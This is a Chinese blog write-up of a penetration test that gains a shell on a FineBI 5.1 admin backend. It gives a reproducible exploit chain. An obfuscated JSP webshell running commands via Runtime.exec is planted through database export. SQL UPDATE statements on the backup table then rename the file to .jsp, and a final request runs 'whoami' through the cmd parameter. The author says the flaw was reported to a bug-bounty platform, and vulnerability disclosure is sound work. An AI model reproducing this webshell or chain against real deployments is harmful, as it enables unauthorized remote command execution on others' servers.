记一次曲折的后台getshell过程

最近团队在对某个厂商进行测试,辛辛苦苦搞了快一个星期才拿到一个 shell,弟弟太惨了

0x01 开始复现

访问url进入登录界面,输入管理密码进入页面

图片

请装作没有看到我那个失败的XSS,过了这么久也忘记了在哪里改回来了

图片

进入页面

图片

我这咋一看,我丢这不是和通某OA差不多吗,当初通某OA刚发的时候,全是XSS,越权,SQL注入,未授权啥的,那时候也是更上了那次风,小赚了一笔

图片

好了,不扯皮了,正式开始复现,进入页面后,点击数据准备

图片

添加一个业务包,点击进去后发现可以添加数据表

图片

图片

再一看右上角有一个全局更新,点进入一看,我丢,数据表内容可以任意位置存放。

图片

看到之后,心想这不就翱翔了嘛,系统管理处好像有个添加数据库连接,这波就直接在本地数据库插入一个马子,再到这里一连接,然后一添加表,再一导出,不就直接getshell啦

图片

直接开始操作,进入本地数据库,选择phpstudy创建数据库自带的sys数据库,进入再创建一个test表

use sys; create table test(test varchar(2555) not null);

图片

在数据库中插入木马内容,因为是java环境就是插入jsp的马子

insert into test(test) values ('<%if(request.getParameter("cmd")!= null) {
Class rt = Class.forNama(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(
rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null),
request.getParameter("cmd"));
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a = in.read(b)) != -1) {
    out.println(new String(b));
}
out.print("");}
%>');

图片

回到系统中,将自己数据库添加进去,系统管理-数据连接-数据连接管理-新建数据连接

图片

选择mysql,添加配置

图片

图片

测试连接

图片

回到数据准备处

图片

图片

找到我们创建的test数据库中test的数据表,确定

图片

查看我们的马子:

图片

点击全局更新,修改下路径,注:因为路由问题,是无法直接访问的,需要放到C:\FineBI5.1\webapps\webroot\scripts路径下,但因为目录下必须为空,所以需要在前面随意添加目录,它会自动创建

图片

点击立刻更新多维数据库

图片

注:它默认会有很多数据,建议提前全部删除,我这里之前已经删了,就不搞了

查看文件是否到了指定目录,文件位置在

C:\FineBI5.1\webapps\webroot\scripts\admin\db\T_C162F2\super\P-1\S-1

查看文件中

图片

然后我们就发现了一个很严重的问题.....不是 jsp 后缀,这不就当场裂开了吗

图片

但是现在就差着临门一脚,怎么可能半途放弃,现在能解决我现在就两种方法了,文件包含,和任意文件名修改了,不过java站好像没有文件包含吧,手动滑稽,现在就只能一条路了,任意文件名修改,其实的话,原本是有一个的。。。但是是我朋友先发现的,就提交给某天了,导致没得用,现在就简单的给大家看一下

图片

就是这个位置,任意文件名修改,用个burp抓个包改就好了,具体就不演示了,然后还有什么办法呢,想了一天之后,终于给我找到了一处可能可以的

图片

位置在:管理系统-智能运维-备份还原处

图片

看到左上角角落里躲着一直设置的图标,点击一下

图片

可以看到这又是一个任意文件存放,但是没啥用因为我们要的是任意文件名修改,所以主题不在这里,随意改一下备份路径等下好找,保持,回到页面,点击一下手动备份,名字随意

图片

现在重点来了,拿小本本记号,必考

勾选之前的备份,开启 burp,点击重命名

图片

图片

发现好像只有一个ID来判断文件,没有指定文件名,当时脑子就一晃,难道我就真的不能getshell了吗?

图片

不不不,仔细一想,它好像走的是数据库欸,然后一个ID和一个name,那么数据库中必定包含着文件路径,要不然怎么修改,对了忘记给文件路径的图片了,文件目录在

C:\FineBI5.1\webapps\webroot\backup\config\manual\

图片

这么长的路径,不管怎么说都得有个路径吧,现在就进入数据库找一找,

图片

不负所望有了路径,应该只需要backupName和savePath两个参数就可以实现任意文件名修改了

图片

现在就会有人问了,怎么才能连接数据库呢,不着急且听我慢慢道来,在系统中有个管理权限,可以配置外接数据库,只要有一台外网服务器,一个符合数据库版本和允许远程登录的数据库,不就成了么

开始实现:

位置在:管理系统-系统管理-常规-外接数据库

图片

图片

家境贫寒没有服务器,就找个我兄弟的服务用了一下,等下和他意思意思一下就可以了,现在说一下为什么要配置外接数据库,Finebi5.1 配置了外接,内容所有数据都会存入外接数据库当中,然后....手动滑稽

图片

注意数据库版本是被指定的

图片

咳咳,回到正题,现在我们开始修改数据库内容,至于表怎么找到的,别问,问就是一个一个翻

update fine_backup_node set backupName="col-0-dic" where backupName='2020.12.29_10.11.24123';

update fine_backup_node set savePath="../scripts/admin/db/T_C162F2/super/P-1/S-1" where savePath='../backup/config/manual';

再次查看发现已经修改成功

图片

这里说一下,为什么是把文件名改为col-0-dic,而不是直接加上jsp,因为它这个是会在指定的那个路径去寻找文件,如果改为col-0-dic.jsp,就找不到文件了,所以现在就开始快乐的修改文件名环节

图片

修改数据库后,回到系统后,刷新

图片

可以看到文件名已经修改,现在开始重命名添加上 jsp 后缀

图片

保存,到主机上查看

图片

发现已经被修改,访问执行whoami,参数cmd,GET请求

IP:端口/webroot/scripts/admin/db/T_C162F2/super/P-1/S-1/col-0-dic.jsp?cmd=whoami

图片

成功了,历时五天六个小时,终于 getshell 了

图片

 

0x04 结语

现在就是已经拿到 shell 权限了,因为是用管理权限运行的,至少都是一个管理员权限,不就想干啥干啥了,然后其中还有很多很多挫折的,试了很多很多方法,才找到一个(果然还是我太菜),但还是不负众望(相关漏洞已提交至某天 src)

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值